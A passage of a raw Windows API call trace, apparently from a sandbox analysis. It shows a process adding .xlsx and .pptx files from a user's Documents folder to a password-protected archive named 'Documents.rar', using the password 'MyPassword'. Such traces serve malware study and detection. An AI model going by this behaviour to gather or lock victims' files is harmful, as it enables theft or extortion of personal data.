DispatchMessageW (lpMsg=0x1cd830) returned 0x0 [0067.922] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.922] FindFirstFileW (in: lpFileName="9klODxiFKz0-WlOc t7.xlsx", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0067.922] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0067.922] CreateFileW (lpFileName="9klODxiFKz0-WlOc t7.xlsx" (normalized: "c:\\users\\whuoxysd\\documents\\9klodxifkz0-wloc t7.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0067.922] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2dfa30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0067.922] GetTickCount () returned 0xa67467 [0067.922] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0067.922] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0067.922] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0067.922] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0067.922] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="6_vMe3CazzKO.docx") returned 17 [0067.922] SetWindowTextW (hWnd=0x10280, lpString="9klODxiFKz0-WlOc t7.xlsx") returned 1 [0067.922] GetTickCount () returned 0xa67467 [0067.922] UpdateWindow (hWnd=0x10278) returned 1 [0067.922] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0067.922] CryptAcquireContextW (in: phProv=0x1cd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1cd850*=0x3025f0) returned 1 [0067.923] CryptGenRandom (in: hProv=0x3025f0, dwLen=0x10, pbBuffer=0x1cd8d0 | out: pbBuffer=0x1cd8d0) returned 1 [0067.923] CryptReleaseContext (hProv=0x3025f0, dwFlags=0x0) returned 1 [0067.923] GetSystemTime (in: lpSystemTime=0x1cd7e8 | out: lpSystemTime=0x1cd7e8*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x1d, wMilliseconds=0x228)) [0067.923] SystemTimeToFileTime (in: lpSystemTime=0x1cd7e8, lpFileTime=0x1cd7e0 | out: lpFileTime=0x1cd7e0) returned 1 [0067.923] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd810 | out: lpPerformanceCount=0x1cd810*=14326312529) returned 1 [0067.923] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a0040*, lpNumberOfBytesRead=0x1cd8f0*=0x1f3b, lpOverlapped=0x0) returned 1 [0067.923] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a1f7b, nNumberOfBytesToRead=0xfe0c5, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a1f7b*, lpNumberOfBytesRead=0x1cd8f0*=0x0, lpOverlapped=0x0) returned 1 [0067.923] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a620 [0067.923] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a650 [0067.923] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b5a650, Size=0x48) returned 0x39db40 [0067.923] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0067.923] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a650 [0067.923] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b5a650, Size=0x48) returned 0x39daf0 [0067.923] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0067.923] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0067.923] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a650 [0067.923] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a680 [0067.923] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b5a680 | out: hHeap=0x2e0000) returned 1 [0067.923] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b5a650 | out: hHeap=0x2e0000) returned 1 [0067.924] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b5a620, Size=0x48) returned 0x39db40 [0067.924] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39db40, Size=0x7a) returned 0x3a3910 [0067.924] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0067.924] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0067.924] GetTickCount () returned 0xa67467 [0067.924] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd730 | out: lpPerformanceCount=0x1cd730*=14326410782) returned 1 [0067.924] GetTickCount () returned 0xa67467 [0067.924] GetTickCount () returned 0xa67467 [0067.924] GetTickCount () returned 0xa67467 [0067.924] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0067.924] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0067.924] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.924] ResetEvent (hEvent=0x1a4) returned 1 [0067.924] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.924] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0067.925] ResetEvent (hEvent=0x1a4) returned 1 [0067.925] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.925] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0067.925] GetTickCount () returned 0xa67467 [0067.925] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd700 | out: lpPerformanceCount=0x1cd700*=14326561931) returned 1 [0067.925] GetTickCount () returned 0xa67467 [0067.925] GetTickCount () returned 0xa67467 [0067.925] GetTickCount () returned 0xa67467 [0067.925] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0067.925] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0067.925] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.925] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0067.925] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.925] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5e0*=0) returned 0x5566b [0067.925] SetFilePointer (in: hFile=0x198, lDistanceToMove=108, lpDistanceToMoveHigh=0x1cd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5b0*=0) returned 0x556d7 [0067.926] CryptUnprotectMemory (in: pDataIn=0x1cd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd460) returned 1 [0067.926] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0067.926] CryptUnprotectMemory (in: pDataIn=0x1cce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cce40) returned 1 [0067.926] CryptUnprotectMemory (in: pDataIn=0x1ccf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1ccf40) returned 1 [0067.926] CryptUnprotectMemory (in: pDataIn=0x1cd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd0c0) returned 1 [0067.926] WriteFile (in: hFile=0x198, lpBuffer=0x219fde0*, nNumberOfBytesToWrite=0x1f70, lpNumberOfBytesWritten=0x1cd5e0, lpOverlapped=0x0 | out: lpBuffer=0x219fde0*, lpNumberOfBytesWritten=0x1cd5e0*=0x1f70, lpOverlapped=0x0) returned 1 [0067.926] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0067.926] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.926] SetFilePointer (in: hFile=0x198, lDistanceToMove=349803, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x5566b [0067.926] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9c80*=0) returned 0x5566b [0067.926] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a620 [0067.926] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a650 [0067.926] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b5a650, Size=0x48) returned 0x39daf0 [0067.926] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0067.926] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a650 [0067.926] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b5a650, Size=0x48) returned 0x39db40 [0067.926] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0067.926] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0067.926] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a650 [0067.926] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a680 [0067.926] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b5a680 | out: hHeap=0x2e0000) returned 1 [0067.926] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b5a650 | out: hHeap=0x2e0000) returned 1 [0067.926] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b5a620, Size=0x48) returned 0x39daf0 [0067.926] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39daf0, Size=0x7a) returned 0x3a3910 [0067.926] WriteFile (in: hFile=0x198, lpBuffer=0x3a3913*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1c82c0, lpOverlapped=0x0 | out: lpBuffer=0x3a3913*, lpNumberOfBytesWritten=0x1c82c0*=0x6c, lpOverlapped=0x0) returned 1 [0067.926] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a620 [0067.926] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x6c) returned 0x3b4b690 [0067.926] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0067.926] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0067.926] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x57647 [0067.927] CloseHandle (hObject=0x1b0) returned 1 [0067.927] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0067.927] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.927] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0067.927] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.927] FindFirstFileW (in: lpFileName="AE1NPe45_G.xlsx", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0067.927] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0067.927] CreateFileW (lpFileName="AE1NPe45_G.xlsx" (normalized: "c:\\users\\whuoxysd\\documents\\ae1npe45_g.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0067.927] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2dfe30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0067.927] GetTickCount () returned 0xa67467 [0067.927] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0067.927] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0067.927] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0067.927] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0067.927] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="9klODxiFKz0-WlOc t7.xlsx") returned 24 [0067.927] SetWindowTextW (hWnd=0x10280, lpString="AE1NPe45_G.xlsx") returned 1 [0067.927] GetTickCount () returned 0xa67467 [0067.927] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0067.927] CryptAcquireContextW (in: phProv=0x1cd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1cd850*=0x3025f0) returned 1 [0067.928] CryptGenRandom (in: hProv=0x3025f0, dwLen=0x10, pbBuffer=0x1cd8d0 | out: pbBuffer=0x1cd8d0) returned 1 [0067.928] CryptReleaseContext (hProv=0x3025f0, dwFlags=0x0) returned 1 [0067.928] GetSystemTime (in: lpSystemTime=0x1cd7e8 | out: lpSystemTime=0x1cd7e8*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x1d, wMilliseconds=0x228)) [0067.928] SystemTimeToFileTime (in: lpSystemTime=0x1cd7e8, lpFileTime=0x1cd7e0 | out: lpFileTime=0x1cd7e0) returned 1 [0067.928] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd810 | out: lpPerformanceCount=0x1cd810*=14326811152) returned 1 [0067.928] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a0040*, lpNumberOfBytesRead=0x1cd8f0*=0x14172, lpOverlapped=0x0) returned 1 [0067.929] ReadFile (in: hFile=0x1b0, lpBuffer=0x36b41b2, nNumberOfBytesToRead=0xebe8e, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36b41b2*, lpNumberOfBytesRead=0x1cd8f0*=0x0, lpOverlapped=0x0) returned 1 [0067.929] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0067.929] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.929] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a650 [0067.929] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a680 [0067.929] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b5a680, Size=0x48) returned 0x39db40 [0067.929] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0067.929] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a680 [0067.929] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b5a680, Size=0x48) returned 0x39daf0 [0067.929] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0067.929] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0067.929] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a680 [0067.929] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a6b0 [0067.929] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b5a6b0 | out: hHeap=0x2e0000) returned 1 [0067.929] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b5a680 | out: hHeap=0x2e0000) returned 1 [0067.929] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b5a650, Size=0x48) returned 0x39db40 [0067.929] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39db40, Size=0x7a) returned 0x3a3910 [0067.929] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0067.929] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0067.929] GetTickCount () returned 0xa67467 [0067.929] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd730 | out: lpPerformanceCount=0x1cd730*=14326951642) returned 1 [0067.929] GetTickCount () returned 0xa67467 [0067.929] GetTickCount () returned 0xa67467 [0067.929] GetTickCount () returned 0xa67467 [0067.929] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0067.929] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0067.929] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.929] ResetEvent (hEvent=0x1a4) returned 1 [0067.929] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.931] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0067.931] ResetEvent (hEvent=0x1a4) returned 1 [0067.931] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.934] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0067.934] ResetEvent (hEvent=0x1a4) returned 1 [0067.934] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.936] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0067.936] GetTickCount () returned 0xa67467 [0067.936] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd700 | out: lpPerformanceCount=0x1cd700*=14327623325) returned 1 [0067.936] GetTickCount () returned 0xa67467 [0067.936] GetTickCount () returned 0xa67467 [0067.936] GetTickCount () returned 0xa67467 [0067.936] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0067.936] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0067.936] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.936] ResetEvent (hEvent=0x190) returned 1 [0067.936] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.937] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0067.937] ResetEvent (hEvent=0x190) returned 1 [0067.937] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.937] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0067.937] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0067.937] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.937] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5e0*=0) returned 0x57647 [0067.938] SetFilePointer (in: hFile=0x198, lDistanceToMove=99, lpDistanceToMoveHigh=0x1cd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5b0*=0) returned 0x576aa [0067.938] CryptUnprotectMemory (in: pDataIn=0x1cd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd460) returned 1 [0067.938] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0067.938] CryptUnprotectMemory (in: pDataIn=0x1cce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cce40) returned 1 [0067.938] CryptUnprotectMemory (in: pDataIn=0x1ccf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1ccf40) returned 1 [0067.938] CryptUnprotectMemory (in: pDataIn=0x1cd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd0c0) returned 1 [0067.938] WriteFile (in: hFile=0x198, lpBuffer=0x219fde0*, nNumberOfBytesToWrite=0x14240, lpNumberOfBytesWritten=0x1cd5e0, lpOverlapped=0x0 | out: lpBuffer=0x219fde0*, lpNumberOfBytesWritten=0x1cd5e0*=0x14240, lpOverlapped=0x0) returned 1 [0067.939] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0067.939] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.939] SetFilePointer (in: hFile=0x198, lDistanceToMove=357959, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x57647 [0067.939] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9c80*=0) returned 0x57647 [0067.939] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a650 [0067.939] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a680 [0067.939] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b5a680, Size=0x48) returned 0x39daf0 [0067.939] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0067.939] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a680 [0067.939] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b5a680, Size=0x48) returned 0x39db40 [0067.939] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0067.939] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0067.939] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a680 [0067.939] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a6b0 [0067.939] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b5a6b0 | out: hHeap=0x2e0000) returned 1 [0067.939] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b5a680 | out: hHeap=0x2e0000) returned 1 [0067.939] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b5a650, Size=0x48) returned 0x39daf0 [0067.939] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39daf0, Size=0x7a) returned 0x3a3910 [0067.939] WriteFile (in: hFile=0x198, lpBuffer=0x3a3913*, nNumberOfBytesToWrite=0x63, lpNumberOfBytesWritten=0x1c82c0, lpOverlapped=0x0 | out: lpBuffer=0x3a3913*, lpNumberOfBytesWritten=0x1c82c0*=0x63, lpOverlapped=0x0) returned 1 [0067.939] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a650 [0067.939] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x63) returned 0x3a0fb0 [0067.939] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0067.939] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0067.939] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x6b8ea [0067.939] CloseHandle (hObject=0x1b0) returned 1 [0067.940] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0067.940] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.940] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0067.940] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.940] FindFirstFileW (in: lpFileName="atEaVS6T.pptx", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0067.940] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0067.940] CreateFileW (lpFileName="atEaVS6T.pptx" (normalized: "c:\\users\\whuoxysd\\documents\\ateavs6t.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0067.940] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2e0230, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0067.940] GetTickCount () returned 0xa67477 [0067.940] GetLastError () returned 0x0 [0067.940] SetLastError (dwErrCode=0x0) [0067.940] GetDlgItem (hDlg=0x10278, nIDDlgItem=158) returned 0x10284 [0067.940] GetDlgItem (hDlg=0x10278, nIDDlgItem=153) returned 0x10282 [0067.940] GetWindowTextW (in: hWnd=0x10282, lpString=0x1cbf90, nMaxCount=2560 | out: lpString=" 100%") returned 5 [0067.940] 